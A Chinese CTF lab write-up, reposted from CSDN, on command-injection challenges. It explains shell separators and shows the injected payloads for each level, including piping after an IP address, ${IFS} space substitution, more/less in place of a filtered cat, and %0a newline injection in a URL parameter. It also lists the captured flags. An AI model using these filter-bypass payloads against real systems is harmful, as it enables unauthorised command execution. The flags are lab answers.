前提
版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_72543266/article/details/136581770
本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结.
1.做题前需要了解的知识
1.1命令执行介绍:
Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
1.2命令执行原理:
web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。
1.3 命令注入相关的特殊字符
符号 | 说明 | 注 |
; | 前后命令依次执行 | 注意前后顺序,若更变目录,则必须在“一句”指令内 |
| | 将前面执行命令的结果作为后一条的输入 | 管道,只输出后者的命令 |
|| | 前命令执行失败后才执行后命令 | |
& | 前面执行完,然后执行后面的 | 如 a&b&c 则显示c的执行信息,a b在后台执行 |
&& | 前命令执行成功后才执行后命令 | |
`(反引号,仅linux) | 即命令替换,echo date`,输出系统时间 |
使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的 | |
$(command) | 这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间. | 按理说更推荐用这种方法,而不是反引号。 |
前情,因为在做前面的eval时进了测试,判断了主机为linux,所以在进行后面的题目解题时默认为linux进行,当然这里也有一个小诀窍,通过大小写进行判断,改访问域名的URL,改大小写,看回显进行判断
win是对大小写不敏感的,linux对大小写是敏感的
2.命令注入
2.1明确题目意思
查看题目的环境和题目的已知知识,进入题目后发现只有一个输入框,根据题目的意思是让我们输入IP
2.2 查看服务器下的文件
在这里,我们尝试输入本地IP,并且说了不会进行过滤,让其执行后面的命令,首先使用
127.0.0.1|ls
查看目录下的文件
发现页面14430616024597.php
2.3 查看发现的文件
使用
127.0.0.1|cat 14430616024597.php
发现什么都没有,则有可能存在php文件中有特殊字符,这里因为我做ctf较多的原因,所以通过查看源代码发现了flag,但是我尝试使用更难的操作,判断通常会使用base64,进行base64编码
2.4 进行base64编码
127.0.0.1|cat 14430616024597.php|base64
PD9waHAgLy8gY3RmaHViezExZWRiYzk3ODdkOGMzNjlkZDQ2MTY3Yn0K
2.5 进行base64解码
然后base64解码,使用在线工具
2.6(^o^)/获得flag
ctfhub{11edbc9787d8c369dd46167b}
3.过滤cat
3.1 搞清题意
看题目名称,过滤了cat命令,所以我不去尝试cat命令了。既然基本和上面的关卡思路一致,那么直接操作就可以了。
因为Linux中查看文件内容并不止cat命令一个,而是有很多:
3.2 做题科普
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
3.3 查看目录下的文件
所以要解决这个问题就很简单了,构造playload
127.0.0.1|ls
发现两个文件,其中flag是第一个文件
3.4 查看发现的文件
这里有两种思路,进行解,后面的题目我会挑一种方便的方式进行解题,因为重复性的无力劳动是无法学到新知识的
3.4.1 第一种
接下来使用less或者more代替cat
127.0.0.1 |less flag_14795757827558.php|base64 127.0.0.1 | more flag_14795757827558.php|base64
是可以的 PD9waHAgLy8gY3RmaHVie2I2ZjI0NDIzOWU4M2I4NmM2N2MyOWFhNX0K 然后进行base64解码就可以了
3.4.2 第二种
或者不用进行base64编码,通过输入下面的,然后发现存储位置没有,但是其实是存在于源代码中的
127.0.0.1 |less flag_14795757827558.php 127.0.0.1 | more flag_14795757827558.php
而是直接查看页面源代码,直接发现
3.5 (^o^)/获得flag
ctfhub{b6f244239e83b86c67c29aa5}
4.过滤空格
4.1 题目所需知识
本题都说了,过滤空格,直接bing,linux过滤空格
就是过滤掉了空格,因为我们输入的命令都需要空格符进行间隔,找能代替空格的代替就行了。还是bing,搜绕过过滤空格的字符
4.2 查看目录的下文件
这里其实使用127.0.0.1;ls或是127.0.0.1|ls 都是可以查到的,忘记符号的区别的可以看看刚开始的知识介绍,这里我使用的是
127.0.0.1|ls
4.3 查看文件的内容
这里通过${IFS}代替空格,进行绕过,当然方法有很多种,都可以
127.0.0.1|cat${IFS}flag_5055821213570.php
查看源代码
4.4. \(^o^)/获得flag
ctfhub{b9baa1adad0eee68c0e82117}
5.过滤目录分隔符
5.1 查看服务器下的文件
首先还是老样子,使用
127.0.0.1|ls
可以看到flag_is_here是个目录,需要进入这个目录找到对应的flag文件。题目说是过滤了目录分隔符 / ,那么我们就需要 cd 命令进入对应的目录。
5.2 查看flag_is_here目录下的文件
这里因为需要每条命令都需要依次执行,才能达到效果,所以不能使用|符号
127.0.0.1;cd flag_is_here;ls
5.3 查看flag文件下的内容
发现有flag_22131075419500.php文件,继续执行,即可通关
127.0.0.1;cd flag_is_here;cat flag_22131075419500.php
发现没有东西,其实是因为编码的原因,没有正常显示出来,这里可以通过查看源代码进行查看
5.4 查看源代码
这里直接右键查看源代码就可以看到flag了
5.5 (^o^)/得到flag
ctfhub{2ea2c2c6ea2d9f5b7a181c71}
6. 过滤运算符
根据题目所知,过滤了一些符号,进行源码分析,可以看到过滤了管道符(|),直接使用逗号(;)即可
6.1 查看服务器下的文件
127.0.0.1;ls
6.2 查看flag文件
127.0.0.1;cat flag_189628999302.php
6.3 查看源代码
6.4 \(^o^)/得到flag
ctfhub{2f19664e3e3e8d333e7dafd7}
7. 综合过滤练习
7.1 题目分析
看题目的意思,分析源码发现,这道题能过滤的基本都过滤了,既然都过滤了,那我们就想办法进行绕过,无非就是需要进行的操作多了一点
空格可以用${IFS},cat可以用more,flag可以用正则f***匹配,ctfhub应该没什么用,这里浅浅查了一下,在linux下,命令分隔符除了;和|还有%0a,是通过URL编码的,有了;就可以不用运算符了。
常用的管道符都不能用,只能用换行符的url编码 %0a,因为%0a是url编码,所以需要通过url当参数传入,不然%0a会被再次编码,失去作用
7.2 查看服务器下的文件
?ip=127.0.0.1%0als
注意是在url后进行拼接,不是在输入框中输入
7.3 查看存在flag文件目录下的文件
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
这里使用构造好的语句其实就是用%0a代替分符,用${IFS}代替空格,用more或是less代替cat,用f***进行了flag的匹配
7.4 查看flag文件的内容
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php
查看源代码
7.5 \(^o^)/得到flag
ctfhub{91f1b714719763b2ddbf15e6}
8.总结
其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.